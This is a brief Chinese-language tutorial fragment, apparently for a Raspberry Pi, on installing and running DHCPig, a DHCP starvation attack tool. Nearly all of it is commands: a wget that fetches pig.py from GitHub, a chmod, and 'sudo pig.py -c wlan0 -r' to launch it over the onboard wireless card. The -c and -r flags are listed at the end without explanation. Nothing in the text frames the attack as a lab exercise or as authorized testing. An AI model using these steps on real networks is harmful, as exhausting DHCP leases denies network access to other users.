这个工具依赖Python的Scapy包,如果未安装需要使用pip工具安装。
wget https://github.com/kamorin/DHCPig/raw/master/pig.py chmod +x pig.py
需要root权限才可运行,wlan0为树莓派板载无线网卡。
sudo pig.py -c wlan0 -r
-c
-r